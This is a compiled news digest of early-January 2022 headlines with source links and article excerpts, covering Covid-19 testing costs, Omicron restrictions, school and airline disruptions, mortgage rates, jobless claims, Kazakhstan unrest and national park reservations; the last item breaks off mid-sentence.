<p>"The price as it stands, and even if it goes lower, will not reach the communities that need the tests the most unless the kits are free," said Donaldson Conserve, an associate professor in the department of prevention and community health at George Washington University.</p> <p>He said he welcomed free tests from the Biden administration as a great step, but added: "That's unfortunately a bit late in the process because the cases are increasing now."</p> <p>White House officials said they are moving as quickly as they can to get more tests to the public, noting that manufacturing constraints have complicated the effort.</p> <p>In places such as Washington, D.C., and New York, <a href="#">lines at free testing sites</a> have been stretching for many city blocks. The administration is setting up federal testing sites in some states and major cities, including this week in Washington and Philadelphia.</p>

Tom Inglesby, testing coordinator for the White House Covid-19 response team, said the Biden administration has worked to establish testing programs in schools and homeless shelters, invested \$4.8 billion to cover testing for people without insurance, and expanded free testing locations in hard-hit communities, among other initiatives.

“We’ve been taking actions to reduce the cost of testing since the beginning of the administration,” Dr. Inglesby said.

Jillian Roamer, 35, a pharmaceutical scientist in Philadelphia, said her family spent nearly \$500 in recent weeks on Covid-19 testing. She paid between \$90 and \$150 out of pocket for tests for her family at urgent care and other facilities when she learned her 11-month-old son had been exposed to the virus at daycare.

“It hurts my brain sometimes,” she said of the cost and difficulties of getting tested.

Insurance companies are required by law to reimburse patients for Covid-19 diagnostic testing, but those tests must be deemed medically appropriate by a healthcare provider and don’t include screening or return-to-work testing.

In major cities around the country, companies have begun offering boutique testing services at high costs. One, Drip Hydration, sends staff to a person’s home to conduct testing, with prices ranging from \$249 for a rapid test to \$449 for a PCR test with results in two to four hours. Some city-run testing sites take days to provide PCR testing results.

“Our cohort of patients really value the services we offer and is willing to pay a premium for it,” said Abe Malkin, Drip Hydration’s medical director. “For them, this service is invaluable.”

Dilara Yilmaz, 28, a communications consultant in Washington, decided not to pay out of pocket after the only places she could find with open appointments charged \$200 or more.

Ms. Yilmaz said she has spent close to \$300 on at-home rapid tests in recent weeks after her eight-month-old daughter contracted the virus. The city’s free testing sites weren’t an option, she said. “You can’t stand in line with an eight-month-old in D.C. in the cold,” she said.

Ms. Yilmaz, who contracted the virus as well, said her household expenses—including the cost of tests and food delivery—doubled as she took care of her sick family.

Valerie Viard, 25, who lives in Brooklyn, paid out of pocket for an appointment for a PCR test because she didn’t want to wait in hourslong lines for free testing. The testing company where she found an open slot told her a PCR test would cost \$130, down from \$220 with her insurance. She said she separately spent \$80 in recent weeks on over-the-counter at-home rapid tests.

“I’m paying for the ease of mind,” she said.

The White House plans to release finalized guidance soon for insurance companies to reimburse patients for over-the-counter Covid-19 tests. White House officials haven’t described the process or said how many tests people could get reimbursed for. Some retailers or pharmacies could respond by raising the overall price of the tests, some experts warned.

“You have to have the ability to shell out the money at the front end,” said Sabrina Corlette, founder and co-director of the Center on Health Insurance Reforms at Georgetown University’s McCourt School of Public Policy. “Did you remember to save your receipts? Is there a form you have to fill out?”

Earlier this week, Kroger Co. and Walmart Inc. raised the price of the popular BinaxNow at-home rapid tests after a deal with the White House to discount the tests expired.

	<p>New York Attorney General Letitia James said in December that her office had received complaints of price gouging, with some at-home Covid-19 tests being sold in the state for \$40 or \$70 per package, double or triple the retail price. The office has received more than 400 complaints.</p> <p>White House officials said they were close to finalizing contracts for the 500 million at-home tests the administration plans to give out at no charge, and hopes to receive the first delivery of tests over the next week. Tests will begin being distributed to the public in coming weeks, according to the White House.</p> <p>The administration said it would create a website where the public can request free tests be mailed to their homes after the government receives the first batch, but didn't provide a date for when it would launch.</p> <p>The administration previously pledged to distribute 50 million at-home tests to community health centers and rural clinics. President Biden and senior officials have acknowledged that the government didn't act quickly enough to prepare for the surge in demand for testing prompted by the Omicron variant.</p>
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HEADLINE	<b>01/06 Mortgage rates highest levels since 2020</b>
SOURCE	<a href="https://www.wsj.com/articles/mortgage-rates-hit-highest-levels-since-spring-2020-11641513773?mod=hp_lead_pos1">https://www.wsj.com/articles/mortgage-rates-hit-highest-levels-since-spring-2020-11641513773?mod=hp_lead_pos1</a>
GIST	<p>U.S. mortgage rates this week rose to their highest levels since May 2020, driving up the costs associated with home buying at a time when home-sales prices are already near record highs.</p> <p>The average rate for a 30-year fixed-rate loan was 3.22%, up from 3.11% last week, according to mortgage finance giant Freddie Mac. A year ago, mortgage rates stood at 2.65%.</p> <p>Ultralow interest rates have been a major force in the housing boom of the last two years. Households that kept their jobs and saved money during the pandemic seized on low borrowing costs to buy bigger homes that could accommodate working or schooling from home. Second-home purchases and investor demand for rental properties also surged.</p> <p>With the number of homes for sale well below normal levels, buyers have competed in bidding wars, pushing prices to new highs. The median existing-home price rose 13.9% in November from a year earlier to \$353,900, according to the National Association of Realtors. That month, the median sales price for newly built homes hit an all-time high.</p> <p>Mortgage rates <a href="#">are still low by historical standards</a>, and with strong buyer demand for homes, housing economists don't anticipate an immediate or significant pullback in home sales. <a href="#">Existing-home sales rose in November</a> to the highest seasonally adjusted annual rate since last January, and 2021 was on track to be the strongest year in home sales since 2006.</p> <p>But with the Federal Reserve on course to raise short-term interest rates this year, mortgage rates are likely to accompany them higher, making home affordability an even greater challenge.</p> <p>"Rates are really the biggest risk to the market," said Ivy Zelman, chief executive of real-estate research and advisory firm Zelman &amp; Associates.</p> <p>A 3.22% rate on a \$300,000 loan would create a monthly payment of about \$1,300, according to <a href="#">LendingTree</a> Inc., an online loan information site. At 2.65%, where the average mortgage rate stood a year ago, the monthly payment would be \$1,209. (Both figures exclude taxes and insurance).</p> <p>If interest rates continue to rise, existing homeowners are likely to be less eager to sell their current homes and buy new ones if they have already locked in low rates.</p> <p>"I think that a 4% mortgage rate would kill the housing market," Ms. Zelman said. "So many people are locked in below that rate, and that's really what matters."</p>

NAR forecasts the 30-year fixed mortgage rate to hit 3.7% at the end of 2022, a borrowing rate that the industry group's economists believe is still low enough to keep the housing boom going.

"Housing demand is expected to remain robust this year," said Nadia Evangelou, senior economist and director of forecasting at NAR. "Even though the housing market will likely settle down, it will still outperform compared to pre-pandemic."

Rising rates can also take the steam out of a refinancing boom that has boosted mortgage lenders since spring 2020. When rates go up, fewer homeowners can lower their monthly payments by refinancing.

Mortgage rates in recent days have followed the steep climb in U.S. Treasury yields, which set a floor on borrowing costs across the economy. The yield on the benchmark 10-year U.S. Treasury note settled Thursday at 1.733%, according to Tradeweb, up from 1.496% last Friday.

Yields started rising sharply on Monday, a sign that investors were making fresh bets on Federal Reserve rate increases, reflecting expectations that the U.S. economy will continue expanding and that officials will move to bring inflation down. Yields got an extra boost Wednesday, when minutes from the Fed's December meeting showed officials were eyeing a faster timetable for raising rates this year.

Fed-funds futures showed Thursday that investors think there is a 75% chance the Fed will raise rates by its March meeting. They showed a near 50% chance that the central bank will raise rates by at least four quarter-percentage-point increments this year.

Treasury yields could have room to rise given that they are still based on expectations the Fed won't raise rates as high as officials have indicated they think is likely, analysts and portfolio managers said.

Many investors and analysts are skeptical that the Fed will be able to raise rates to very high levels. A report by Bank of America analysts last year concluded that, given the amount of debt currently in the economy, the 10-year yield could stay below 2.5% and still result in the same total debt costs as 2018, when the yield exceeded 3%.

While mortgage rates remain near record lows, the decline in refinancings is likely to hit nonbank mortgage lenders harder than their big-bank counterparts, which report fourth-quarter earnings starting next week. Since the 2008 financial crisis, banks have stepped away from the mortgage business.

Americans [borrowed a record \\$1.61 trillion](#) to buy homes in 2021, according to estimates by the Mortgage Bankers Association, up from \$1.48 trillion in 2020.

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HEADLINE	01/06 Philippines to arrest unvax violating rules
SOURCE	<a href="https://www.theguardian.com/world/2022/jan/07/philippines-duterte-orders-arrest-of-unvaccinated-people-who-violate-stay-at-home-orders">https://www.theguardian.com/world/2022/jan/07/philippines-duterte-orders-arrest-of-unvaccinated-people-who-violate-stay-at-home-orders</a>
GIST	<p>The Philippine president, Rodrigo Duterte, has ordered the arrest of unvaccinated people who violate stay-at-home orders aimed at curbing "galloping" coronavirus infections driven by the Omicron variant.</p> <p>The government tightened restrictions in Manila and several provinces and cities this week. Unvaccinated people among the capital's 13 million people were ordered to stay home, after infection numbers tripled in the last two days.</p> <p>Health officials said infections were projected to increase further in the coming days and would peak by the end of the month.</p> <p>"Because it's a national emergency, it is my position that we can restrain" people who have not got their shots, Duterte said in a pre-recorded message on Thursday.</p>

"I am now giving orders to the [village chiefs] to look for those persons who are not vaccinated and just request them or order them, if you may, to stay put.

"And if he refuses and goes out of the house and goes around in the community or maybe everywhere, he can be restrained. If he refuses then the [official] is empowered to arrest the recalcitrant persons," he added.

Coronavirus vaccinations are voluntary in the nation of more than 100 million people, and less than half the population have so far completed their jabs.

Duterte said he was "appalled" at the large numbers of Filipinos yet to be vaccinated.

"If you don't get a jab you put everybody in jeopardy," he said, with the virus "galloping in our community, in our country and in the world".

New infections surged to more than 17,000 on Thursday, rising more than threefold from Tuesday's toll, according to health department data. The disease has infected 2.9 million people in the country, nearly 52,000 of whom have died.

The government loosened lockdowns in October last year, after coronavirus infections driven by the Delta variant peaked, in order to revive the battered economy.

New infections dwindled to a few hundred daily just before Christmas, but ramped up again as families and friends got together for the holidays.

Health experts say the new cases are driven by the highly transmissible Omicron variant.

Under the tighter restrictions, in place until mid-January, unvaccinated residents have to stay at home unless buying essentials or exercising. Restaurants, parks, churches and beauty salons will operate at lower capacity, while in-person classes and contact sports are suspended.

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HEADLINE	<b>01/06 WHO: record weekly jump but fewer deaths</b>
SOURCE	<a href="https://abcnews.go.com/Health/wireStory/record-weekly-jump-covid-19-cases-omicron-surges-82112231">https://abcnews.go.com/Health/wireStory/record-weekly-jump-covid-19-cases-omicron-surges-82112231</a>
GIST	<p>GENEVA -- The World Health Organization said Thursday a record 9.5 million cases of COVID-19 were tallied around the world last week, marking a 71% weekly surge that amounted to a "tsunami" as the new omicron variant sweeps worldwide. However, the number of recorded deaths declined.</p> <p>"Last week, the highest number of COVID-19 cases were reported so far in the pandemic," WHO Director-General Tedros Adhanom Ghebreyesus said. He said the WHO was certain that was an underestimate because of a backlog in testing around the year-end holidays.</p> <p>The U.N. health agency, in its weekly report on the pandemic, said the weekly count amounted to 9,520,488 new cases — with 41,178 deaths recorded last week compared to 44 680 in the week before that.</p> <p>WHO officials have long cited a lag between case counts and deaths, with changes in the death counts often trailing about two weeks behind the evolution of case counts. But they have also noted that for several reasons — including rising vaccination rates in some places, and signs that omicron affects the nose and throat more than the lungs -- omicron has not appeared as deadly as the delta variant that preceded it.</p> <p>Any rise in hospitalizations or deaths in the wake of the latest surge in cases isn't likely to show up for about two weeks.</p>



While omicron seems less severe than delta, especially among people who have been vaccinated, the WHO chief cautioned: “It does not mean it should be categorized as mild. Just like previous variants, omicron is hospitalizing people, and it’s killing people.”

“In fact, the tsunami of cases is so huge and quick that it is overwhelming health systems around the world,” the WHO chief told a regular news briefing.

The WHO said the rises in case counts over the last week varied, doubling in the Americas region, but rising only 7% in Africa.

The WHO emergencies chief, Dr. Michael Ryan, said speculation that omicron might be the last variant of the outbreak was “wishful thinking” and cautioned: “There still is a lot of energy in this virus.”

Added Maria Van Kerkhove, WHO’s technical lead on COVID-19: “I think it’s very unlikely that omicron will be the last variant that you will hear us discussing.”

WHO officials called on the public to step up measures to fight the pandemic like getting vaccinated, ventilating rooms, maintaining proper physical distancing and wearing masks — but properly.

“I’m struck by how people actually are wearing masks” Van Kerkhove said.

“Wearing a mask below your chin is useless. And it gives you a false sense of security that you have something on that is protecting you. It will not ... Basically, we are asking everyone to play a part in this.”

Separately, Ryan said the WHO’s work with the International Olympic Committee and China — which is set to host the 2022 Winter Games — led him to be “confident” that the measures that games organizers have put in place were “very strict and very strong.”

“We don’t at this point see any increased risk of disease transmission in that context,” Ryan said.

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HEADLINE	<b>01/06 Schools scramble for substitute teachers</b>
SOURCE	<a href="https://abcnews.go.com/Health/wireStory/schools-sticking-person-learning-scramble-subs-82113141">https://abcnews.go.com/Health/wireStory/schools-sticking-person-learning-scramble-subs-82113141</a>
GIST	<p>HARTFORD, Conn. -- Principals, superintendents and counselors are filling in as substitutes in classrooms as the surge in coronavirus infections further strains schools that already had been struggling with staffing shortages.</p> <p>In Cincinnati, dozens of employees from the central office were dispatched this week to schools that were at risk of having to close because of low staffing. The superintendent of Boston schools, Brenda Cassellius, tweeted Wednesday she was filling in for a fifth grade teacher. San Francisco’s school system asked any employees with teaching credentials to be available for classroom assignments.</p> <p>Staff absences and the omicron variant-driven surge have led some big districts including Atlanta, Detroit and Milwaukee to switch temporarily to virtual learning. Where schools are holding the line on in-person learning, getting through the day has required an all-hands-on-deck approach.</p> <p>“It’s absolutely exhausting,” said history teacher Deborah Schmidt, who was covering other classes during her planning period at McKinley Classical Leadership Academy in St. Louis. On Thursday, she was covering a physics class.</p> <p>In a school year when teachers are being asked to help students recover from the pandemic, some say they are dealing with overwhelming stress just trying to keep classes running.</p>



“I had a friend say to me, ‘You know, three weeks ago we were locking our doors because of school shootings again, and now we’re opening the window for COVID.’ It’s really all a bit too much,” said Meghan Hatch-Geary, an English teacher at Woodland Regional High School in Connecticut. “This year, trying to fix everything, trying to be everything for everyone, is more and more exhausting all the time.”

Labor tensions have been highest in Chicago, where classes were canceled after the teachers union voted to refuse in-person instruction, but union leaders in many school systems have been clamoring for more flexibility on virtual learning, additional testing and other protections against the virus.

In New Haven, Connecticut, where hundreds of teachers have been out each day this week, administrators have helped to cover classrooms. When her classroom aide did not show up for work Wednesday, special education teacher Jennifer Graves borrowed paraprofessionals from other classrooms for short stretches to get through the day at Dr. Reginald Mayo Early Childhood School — an arrangement that was difficult and confusing for her young students with disabilities.

“It’s very difficult to get through my lesson plans when somebody doesn’t know your students, when somebody is not used to working with students with disabilities,” Graves said. “Some students need sensory inputs, some students need to be spoon-fed. So it’s very hard to train someone on the spot.”

Even before infection rates took off around the holidays, many districts were struggling to keep up staffing levels, particularly among substitutes and other lower-paid positions. As a result, teachers have been spread thin for months, said Becky Pringle, president of the National Education Association.

“All of these additional burdens and stresses on top of being worried about getting sick, on top of being stressed like all of us are to after a two-year pandemic ... it just compounded to put us in a place that we are now,” Pringle said in an interview.

Some administrators have already been helping for months in classrooms and cafeterias to fill in for sick and quarantining staff.

“We’re not in love with the circumstances, but we’re happy to do the work because the work is making sure that we’re here for our kids,” said Mike Cornell, superintendent of the Hamburg Central School District in New York, who spent time this fall on cafeteria duty poking straws into juice pouches and peeling lids off chips to fill staffing gaps.

Among the schools that went virtual this week because of staffing shortages was second grade teacher Anna Tarka-DiNunzio's school of roughly 200 students in Pittsburgh. Some taught their students despite being sick with the virus, said Tarka-DiNunzio, who was disappointed to hear some characterize staffing shortages as the result of teachers arbitrarily taking off work.

“It’s not just people calling off. It’s people who are sick or who have family members who are sick,” she said.

The strains on schools this week might have been even tougher if not for large numbers of students being absent themselves. In New Haven, teachers say classes have been only about half full.

Jonathan Berryman, a music teacher, said some of his students haven't shown up for weeks. He worries what that will mean for the performance targets set for students and their teachers.

“Before omicron came along, there was fairly smooth sailing. Now the ship has been rocked,” he said. “We get to make midyear adjustments in our evaluation system. And some I’m sure are wondering whether we should even be concerned about that academic progress piece.”

Graves, who is in her 12th year of teaching in New Haven, said that she is grateful for administrators who have been helping out in classrooms and the aides who have pitched in, but that her students have struggled with the lack of consistency in staffing.

	<p>She also has been frustrated with quickly changing health protocols, and worried about the health of herself and her extended family. Most of her young students are not able to tolerate wearing masks for long stretches, and many have been coughing lately.</p> <p>“This is the hardest year I’ve had,” she said.</p>
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<b>HEADLINE</b>	<b>01/06 Alaska Airlines trims 10% Jan. flights</b>
<b>SOURCE</b>	<a href="https://abcnews.go.com/Health/wireStory/alaska-air-trims-january-flights-cope-virus-outbreak-82122126">https://abcnews.go.com/Health/wireStory/alaska-air-trims-january-flights-cope-virus-outbreak-82122126</a>
<b>GIST</b>	<p>Alaska Airlines said Thursday it will trim its schedule by about 10% for the rest of January as it deals with “unprecedented” numbers of employees calling in sick during the current COVID-19 surge.</p> <p>The move by Alaska is similar to a decision last week by JetBlue Airways to cut about 1,300 flights through mid-January.</p> <p>Alaska's announcement came on a day in which more than 2,100 U.S. flights were canceled by early evening on the East Coast, according to FlightAware. The tracking service said that equaled about 8% of the day's scheduled flights, and it was the 12th straight day of 1,000-plus cancellations, which <a href="#">airlines</a> blamed on the virus surge and winter weather.</p> <p>Worldwide, <a href="#">airlines</a> had canceled about 4,700 flights.</p> <p>Southwest continued to be the hardest hit among U.S. airlines, canceling about 650 flights, or 21% of its schedule for Thursday by early evening. A spokesman said the airline was dealing with extreme cold at several airports and a high number of call-outs by employees who were either sick with COVID-19 or were isolating after close contact with someone with the virus.</p> <p>Alaska had scrubbed about 125, or 17% of its flights.</p> <p>The Seattle-based airline said in a statement that “the continued impacts of omicron have been disruptive in all our lives and unprecedented employee sick calls have impacted our ability to operate our airline reliably.” Alaska said reducing flights through the end of January “will give us the flexibility and capacity needed to reset.”</p> <p>U.S. cancellations began rising on <a href="#">Christmas</a> Eve and peaked Monday at more than 3,200 — about one in every eight flights. Besides cutting flights, airlines including United, Southwest and Spirit have offered bonus pay to find employees willing to work extra days.</p>
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<b>HEADLINE</b>	<b>01/06 Australia state reinstates some restrictions</b>
<b>SOURCE</b>	<a href="https://abcnews.go.com/Health/wireStory/virus-restrictions-back-australia-omicron-surges-82126759">https://abcnews.go.com/Health/wireStory/virus-restrictions-back-australia-omicron-surges-82126759</a>
<b>GIST</b>	<p>SYDNEY -- Australia's most populous state reinstated some restrictions and suspended elective surgeries on Friday as COVID-19 cases surged to another record.</p> <p>New South Wales reported 38,625 new cases, prompting Premier Dominic Perrottet to announce regulations banning dancing and singing in pubs and nightclubs, and delaying non-urgent surgeries until mid-February.</p> <p>Hospitalizations reached 1,738 in the state on Friday and health authorities warned that the number could spike to 4,700 or even 6,000 in a worst-case scenario within the next month. Hospitals already are under strain as around 3,800 medical professionals are in isolation after testing positive for COVID-19.</p> <p>Perrottet acknowledged “it has been an incredibly challenging two years” but said the reintroduction of the protocols was “sensible and proportionate.”</p>

The head of the Australian Medical Association criticized Perrottet on Friday, saying the spike in case numbers and hospitalizations resulted from his decision to relax restrictions just as the omicron variant began to surge in the state.

"These new restrictions that we understand may come in today might slightly slow the spread but there's no way they're going to turn this curve around," AMA president Omar Khorshid told the 10 Network. "Everyone is either immune or they've caught the virus."

"It's going to take some weeks to reach this peak and therefore we just have to brace ourselves," Khorshid added.

Deputy health secretary Susan Pearce predicted that New South Wales would be over the worst of the omicron surge by the middle of next month.

"Overseas experiences have shown that this will rise quickly and pass quickly," Pearce told reporters. "We believe by the middle of February we will be certainly well past the peak of this."

The broader COVID-19 picture was similar across Australia on Friday with record case numbers in most states. More than 76,000 new cases were recorded nationwide, with more than 3,600 people in hospitals, including 223 in intensive care.

Victoria state, where tennis star Novak Djokovic was spending his second day in quarantine, reported 21,728 cases and will introduce new rules requiring anyone with a positive rapid antigen test to isolate and inform close contacts.

Queensland reported 10,953 cases as Premier Annastacia Palaszczuk encouraged people to work from home if possible.

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HEADLINE	01/06 Japan new restrictions for areas hard hit
SOURCE	<a href="https://abcnews.go.com/Health/wireStory/japan-approves-restrictions-areas-hard-hit-covid-82128977">https://abcnews.go.com/Health/wireStory/japan-approves-restrictions-areas-hard-hit-covid-82128977</a>
GIST	<p>TOKYO -- Japan approved new restrictions on Friday to curb a sharp rise in coronavirus cases in the three most affected southwestern regions of Okinawa, Yamaguchi and Hiroshima.</p> <p>"Given the sudden surge in infections, the medical system runs the risk of suffering a heavy burden in the near future," Daishiro Yamagiwa, the minister in charge of COVID-19 responses, said at a government panel meeting.</p> <p>The new measures include earlier closing hours for restaurants, a ban on serving alcohol and restrictions on large-scale events. Details on these measures, which will begin Sunday and last through the end of the month, are decided at the local level and will likely vary.</p> <p>Japan has undergone periods of similar restrictions over the past two years in various areas, including Tokyo. The last order for restricted activity was lifted in September.</p> <p>This time, the spread of the highly contagious omicron variant appears to be first hitting prefectures that house the U.S. military.</p> <p>Cases in Okinawa, home to most of the 55,000 U.S. troops in Japan, have jumped 30 times in a week. As many as 1,400 new cases were reported Friday, up from 981 the previous day, according to Okinawa government officials.</p> <p>Cases are also rising in Yamaguchi, which houses Iwakuni base, and in nearby Hiroshima, at a faster rate than the rest of Japan.</p>

	<p>Worries are growing about a possible surge in hospitalizations. Booster shots, which experts say prevent serious cases, have been given to fewer than 1% of the population, starting with medical professionals.</p> <p>Most people will likely have to wait more than the six months following the second dose, the period recommended by the U.S. Centers for Disease Control and Prevention.</p> <p>Year-end and New Year's holiday travel data showed that people moved around less than during pre-pandemic times but highlighted how people are tiring of staying home. Shops, bars and streets have recently been jam-packed.</p> <p>Japan has reported around 18,300 COVID-19-related deaths so far. The government's latest move intends to send a warning to the public.</p>
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HEADLINE	01/06 Is it a cold, the flu or Covid-19?
SOURCE	<a href="https://abcnews.go.com/Health/wireStory/cold-flu-covid-19-82127643">https://abcnews.go.com/Health/wireStory/cold-flu-covid-19-82127643</a>
GIST	<p>How do I know if I have a cold, the flu or COVID-19?</p> <p>Experts say testing is the best way to determine what you have since symptoms of the illnesses can overlap.</p> <p>The viruses that cause colds, the flu and COVID-19 are spread the same way — through droplets from the nose and mouth of infected people. And they can all be spread before a person realizes they're infected.</p> <p>The time varies for when someone with any of the illnesses will start feeling sick. Some people infected with the coronavirus don't experience any symptoms, but it's still possible for them to spread it.</p> <p>Cough, fever, tiredness and muscle aches are common to both the flu and COVID-19, says Kristen Coleman, as assistant research professor at the University of Maryland School of Public Health. Symptoms specific to COVID-19 include the loss of taste or smell.</p> <p>Common colds, meanwhile, tend to be milder with symptoms including a stuffy nose and sore throat. Fevers are more common with the flu.</p> <p>Despite some false portrayals online, the viruses have not merged to create a new illness. But it's possible to get the flu and COVID-19 at the same time, which some are calling "flurona."</p> <p>"A co-infection of any kind can be severe or worsen your symptoms altogether," says Coleman. "If influenza cases continue to rise, we can expect to see more of these types of viral co-infections in the coming weeks or months."</p> <p>With many similar symptoms caused by the three virus types, testing remains the best option to determine which one you may have. At-home tests for flu aren't as widely available as those for COVID-19, but some pharmacies offer testing for both viruses at the same time, Coleman notes. This can help doctors prescribe the right treatment.</p> <p>Laboratories might also be able to screen samples for various respiratory viruses, including common cold viruses. But most do not have the capacity to routinely do this, especially during a COVID-19 surge, Coleman says.</p> <p>Getting vaccinated helps reduce the spread of the viruses. The U.S. Centers for Disease Control and Prevention says it is safe to get a flu and COVID-19 shot or booster at the same time.</p>
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HEADLINE	01/07 Kazakhstan leader: order 'mainly restored'
SOURCE	<a href="https://abcnews.go.com/International/wireStory/kazakhstan-leader-constitutional-order-restored-amid-unrest-82129245">https://abcnews.go.com/International/wireStory/kazakhstan-leader-constitutional-order-restored-amid-unrest-82129245</a>
GIST	<p>MOSCOW -- The president of Kazakhstan on Friday declared that constitutional order was "mainly restored" after the country was engulfed in unprecedented unrest in recent days.</p> <p>"An anti-terror operation has commenced. Law enforcement agencies are working hard. Constitutional order has been mainly restored in all regions of the country. Local authorities are in control of the situation," Kassym-Jomart Tokayev was quoted by his spokespeople as saying Friday.</p> <p>The president added, however, that "terrorists are still using weapons and are damaging people's property" and that "counterterrorist actions" should be continued.</p> <p>Kazakhstan is experiencing the worst street protests since the country gained independence three decades ago. The demonstrations began over a near-doubling of prices for a type of vehicle fuel and quickly spread across the country, reflecting wider discontent over the rule of the same party since independence.</p> <p>Protests have turned extremely violent, with government buildings set ablaze and dozens of protesters and more than a dozen law enforcement officers killed.</p> <p>In a concession, the government on Thursday announced a 180-day price cap on vehicle fuel and a moratorium on utility rate increases. Tokayev has vacillated between trying to mollify the protesters, including accepting the resignation of his government, and promising harsh measures to quell the unrest, which he blamed on "terrorist bands."</p> <p>In what was seen as one such measure, the president has called on a Russia-led military alliance for help.</p> <p>The alliance, the Collective Security Treaty Organization, includes the former Soviet republics of Kazakhstan, Belarus, Armenia, Tajikistan and Kyrgyzstan and has started deploying troops to Kazakhstan for a peacekeeping mission.</p> <p>Kazakh officials have insisted that the troops will not be fighting the demonstrators.</p>
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HEADLINE	01/06 Chicago cancels public school third day
SOURCE	<a href="https://abcnews.go.com/US/chicago-cancels-public-school-officials-teachers-reach-impasse/story?id=82086573">https://abcnews.go.com/US/chicago-cancels-public-school-officials-teachers-reach-impasse/story?id=82086573</a>
GIST	<p>Chicago officials canceled classes for hundreds of thousands of public school students for three days in a row this week, after reaching an impasse with the city's teachers union over whether in-person learning is safe amid the wave of COVID-19 infections.</p> <p>City leadership, including Mayor Lori E. Lightfoot, had asked teachers to continue in-classroom instruction, but 88% of the Chicago Teachers Union's leadership and 73% of its members voted on Tuesday in favor of remote education.</p> <p>Immediately after the vote, officials canceled all in-person and virtual classes on Wednesday. They announced Wednesday night that instruction will be canceled again on Thursday.</p> <p>On Thursday evening, the city announced another day of cancellations for Friday, but added, "A small number of schools may be able to offer in-person activities for students."</p> <p>"Please do not plan to send your child to school unless you hear otherwise from your child's principal," <a href="#">Chicago Public Schools tweeted</a>.</p>

	<p>The disruption for students marked an escalation in the ongoing debates between officials and teachers about pandemic protocols. Teachers said their decision on remote learning was an attempt to safely instruct their students amid the current wave of COVID-19 infections. Officials accused teachers of not following medical guidance.</p> <p>"I'm urging teachers. Show up to your schools. Your kids need you," Lightfoot said on Twitter.</p> <p>Many teachers who attempted to log into their remote-learning systems on Wednesday found themselves locked out, according to the union.</p> <p>"We are being inundated with calls and emails this morning from educators who attempted to log into their platforms to connect with their students and teach remotely, and safely, but are being locked out by Mayor Lightfoot," union officials said on Twitter Wednesday morning.</p> <p>Chicago, like the rest of the country, has seen a surge in COVID-19 cases over the last few weeks that has been driven by the omicron variant, health officials said.</p> <p>The seven-day average of new daily cases reported skyrocketed from 726 on Nov. 30 to 5,047 on Jan. 2, <a href="#">the Chicago Health Department said</a>. The seven-day average for hospitalizations during that period jumped from 51 to 113, the data showed.</p> <p>As of Thursday evening, 64.9% of all residents have received two vaccine doses, according to the city's health department.</p>
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HEADLINE	<b>01/06 Jobless claims rise slightly; still low level</b>
SOURCE	<a href="https://www.washingtontimes.com/news/2022/jan/6/us-jobless-claims-rise-by-7000-but-still-low-at-20/">https://www.washingtontimes.com/news/2022/jan/6/us-jobless-claims-rise-by-7000-but-still-low-at-20/</a>
GIST	<p>WASHINGTON (AP) — The number of Americans applying for unemployment benefits rose last week but remained at historically low levels, suggesting that the job market remains strong.</p> <p>U.S. jobless claims rose by 7,000 last week to 207,000. The four-week average of claims, which smooths out week-to-week gyrations, rose by nearly 4,800 to just below 205,000. Despite the increases, the numbers show that weekly claims are below the 220,000 typical before the pandemic struck the U.S. economy in March 2020.</p> <p>The highly transmissible omicron variant so far does not appear to have triggered significant layoffs.</p> <p>Altogether, nearly 1.8 million Americans were collecting traditional unemployment aid the week that ended Dec. 25.</p> <p>“Assuming any layoffs related to Omicron are limited amid tight labor market conditions, we expect initial claims to continue to hover around the (200,000) mark,” said Nancy Vanden Houten, lead economist at Oxford Economics.</p> <p>Employers are reluctant to let workers go at a time when it’s so tough to find replacements. The United States posted 10.6 million job openings in November, the fifth-highest monthly total in records going back to 2000. A record 4.5 million Americans quit their jobs in November — a sign that they are confident enough in their prospects to seek something better.</p> <p>The job market has bounced back from last year’s brief but intense coronavirus recession. When COVID hit, governments ordered lockdowns, consumers hunkered down at home and many businesses closed or cut back hours. Employers slashed more than 22 million jobs in March and April 2020, and the unemployment rate rocketed to 14.8%.</p>

	<p>But massive government spending - and eventually the rollout of vaccines - brought the economy back. Employers have added 18.5 million jobs since April 2020, still leaving the U.S. still 3.9 million jobs short of what it had before the pandemic. Economists expect that Friday's jobs report will show that the economy generated another 400,000 jobs in December, according to a survey by the data firm FactSet.</p> <p>The unemployment rate has fallen to 4.2%, close to what economists consider full employment.</p>
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HEADLINE	<b>01/06 Reservations required: national parks</b>
SOURCE	<a href="https://www.washingtonpost.com/travel/2022/01/06/reservations-national-parks-forests/">https://www.washingtonpost.com/travel/2022/01/06/reservations-national-parks-forests/</a>
GIST	<p>On the morning drive from my treehouse at <a href="#">Yuquiyú</a> to <a href="#">El Yunque National Forest</a> in Puerto Rico, I looked the part of the Prepared Hiker. I wore durable shoes with thick treads and no exposed toes. My backpack bulged with bug spray, sunscreen and enough water to irrigate a small farm. A brimmed hat was perched on my head. And yet as I approached the main gate, I realized I had forgotten what is becoming the most critical item on a day trekker's checklist: knowing a park's special entry requirements.</p> <p>“Se Requiere Reservación/Reservations Required” read the bilingual sign, puncturing my plans like a thorn in a hydration bladder.</p> <p>From inside the rental car, I checked <a href="#">recreation.gov</a> for the next available reservation, but on a holiday weekend, the park was fully booked. I ended up in Luquillo, tramping to the beat of reggaeton on the beach instead of hiking to the croaks of coquí in the U.S. Forest Service's only tropical rainforest.</p> <p>Really, I should have known better. When I visited <a href="#">Puerto Rico</a> last February, the pandemic had been upending norms for nearly a year. Travelers seeking refuge in nature were flocking to public sanctuaries run by the <a href="#">National Park Service</a>, the <a href="#">U.S. Forest Service</a> and the <a href="#">Bureau of Land Management</a>, and overwhelming the strained staff and fragile environments. At <a href="#">Great Smoky Mountains National Park</a>, more than 375,000 people hiked Laurel Falls Trail in 2020, an additional 110,000 pairs of feet from the previous year.</p> <p>In 2021, <a href="#">Yellowstone National Park</a> set a record in July for the most-visited month in its nearly 150-year history, with almost 1.1 million recreation visits. Also last year, Acadia National Park in Maine received more than 4 million visitors for the first time. In response to the stampede, officials introduced reservation systems to help them control the number of people who can enter the park or access specific roads or trails in a single day.</p> <p>“The nationwide trend of changing visitation patterns before, during and after the pandemic requires continual innovation and effective ways to manage visitor use to ensure that these special places, and the benefits they generate, persist for current and future generations,” Stephanie Roulett, a public affairs specialist with the National Park Service, said by email. “As a result, parks are exploring many different tools and techniques that are most effective for their situation to help them improve how visitors get to and experience popular park resources and features.”</p> <p>In some cases, such as <a href="#">Yosemite</a>'s entry reservation system and the <a href="#">Great Smoky Mountains</a>' parking fee at the Laurel Falls trailhead, the arrangements were temporary and expired after the busy season or pilot period. Several reservation requirements, however, will return this year, and a few new ones will debut. Many 